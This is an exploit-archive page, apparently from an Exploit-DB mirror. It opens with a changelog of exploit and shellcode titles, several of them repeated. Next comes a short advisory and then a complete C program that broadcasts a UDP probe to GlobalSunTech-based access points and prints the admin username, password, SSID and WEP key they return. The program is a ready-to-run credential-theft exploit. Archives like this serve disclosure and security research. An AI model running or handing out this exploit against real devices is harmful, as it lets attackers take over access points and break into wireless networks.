
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
89 lines
No EOL
2.6 KiB
C
89 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/6100/info
|
||
|
||
An information disclosure vulnerability has been discovered in GlobalSunTech access points.
|
||
|
||
It has been reported that a remote attacker is able to retrieve sensitive information from vulnerable access points, including AP login credentials.
|
||
|
||
Information gained by exploiting this vulnerability may allow an attacker to launch further attacks against the target network.
|
||
|
||
It should be noted that this vulnerability was reported for a WISECOM GL2422AP-0T access point. Devices that use Global Sun Technology access points may be affected by this issue.
|
||
|
||
It has been determined that D-Link DI-614+ and SMC Barricade 7004AWBR access points are not affected by this issue.
|
||
|
||
It has been reported that Linksys WAP11-V2.2 is prone to this issue, but to a lesser extent.
|
||
|
||
/*
|
||
|
||
Orig version by Tom Knienieder <knienieder@khamsin.ch>
|
||
Patched by H<>kan Carlsson <hockey@easylogic.se> for DWL-900AP+ v2.2
|
||
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
#include <stdlib.h>
|
||
#include <netinet/in.h>
|
||
#include <sys/socket.h>
|
||
|
||
typedef struct {
|
||
char type[32] /* [28] */;
|
||
char scr1 [4];
|
||
char name[32];
|
||
char user[16];
|
||
char pass[16];
|
||
char scr2 [408];
|
||
char ssid [32];
|
||
char scr3 [61];
|
||
unsigned char wkey [13];
|
||
}
|
||
__attribute__ ((packed)) answer;
|
||
|
||
int main()
|
||
{
|
||
char rcvbuffer[1024];
|
||
struct sockaddr_in sin;
|
||
answer* ans = (answer *)rcvbuffer;
|
||
int sd, ret, val;
|
||
|
||
sin.sin_family = AF_INET;
|
||
sin.sin_addr.s_addr = inet_addr("255.255.255.255");
|
||
sin.sin_port = htons(27155);
|
||
|
||
sd = socket(AF_INET, SOCK_DGRAM, 0);
|
||
if (sd < 0)
|
||
perror("socket");
|
||
|
||
val = 1;
|
||
ret = setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &val, sizeof(val));
|
||
if (ret < 0)
|
||
{
|
||
perror("setsockopt");
|
||
exit(1);
|
||
}
|
||
|
||
ret = sendto(sd, "gstsearch", 9, 0, (const struct sockaddr *)&sin,
|
||
sizeof(struct sockaddr));
|
||
if (ret < 0)
|
||
{
|
||
perror("sendto");
|
||
exit(1);
|
||
}
|
||
|
||
ret = read(sd,&rcvbuffer,sizeof(rcvbuffer));
|
||
|
||
printf("Type : %.32s\n",ans->type);
|
||
printf("Announced Name : %s\n",ans->name);
|
||
printf("Admin Username : %s\n",ans->user);
|
||
printf("Admin Password : %s\n",ans->pass);
|
||
printf("SSID : %s\n",ans->ssid);
|
||
printf("Wep KEY : ");
|
||
{
|
||
int i = 0;
|
||
for (i=0; i<sizeof(ans->wkey); i++) {
|
||
printf ("%02x ", ans->wkey[i]);
|
||
}
|
||
printf ("\n");
|
||
}
|
||
|
||
return 0;
|
||
} |